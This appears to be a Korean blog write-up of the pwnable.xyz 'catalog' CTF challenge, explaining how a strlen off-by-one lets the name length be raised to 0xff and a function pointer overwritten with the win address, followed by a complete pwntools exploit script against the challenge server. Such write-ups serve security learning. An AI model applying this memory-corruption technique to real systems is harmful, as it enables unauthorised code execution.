본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / catalog

mitigation

이름을 쓰고, 수정하고 출력하는 기능이 주어진다

 

write_name()

 

이름을 쓰는 과정에서 이름을 채워준 뒤 strlen을 통해 이름의 총 길이를 구하는데 이때 이름을 모두 채워주면 strlen에서 이름의 길이 byte가 추가된 0x21byte를 반환 할 수 있어서 edit_name으로 길이를 0xff로 바꿔 print_name함수가 저장된 공간을 win으로 덮어 줬다 

 

from pwn import * 

p = remote("svc.pwnable.xyz", 30023)
#p = process("./catalog")

def write_name(data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"name: ")
    p.send(data)

def edit_name(idx, data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"index: ")
    p.sendline(str(idx))
    p.recvuntil(b"name: ")
    p.send(data)

def print_name():
    p.recvuntil(b"> ")
    p.sendline(b"3")
    p.recvuntil(b"index: ")
    p.sendline(b"0")

win = 0x40092c

payload = b"A" * 0x20

write_name(payload)

payload = b"A" * 0x20
payload += b"\xff" 

edit_name(0, payload)
payload = b"A" * 0x28
payload += p64(win)
edit_name(0, payload)

print_name()

p.interactive()

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / executioner  (0) 2022.05.22
pwnable.xyz / Punch it  (0) 2022.05.22
pwnable.xyz / PvP  (0) 2022.05.21
pwnable.xyz / bookmark  (0) 2022.05.21
pwnable.xyz / attack  (0) 2022.05.21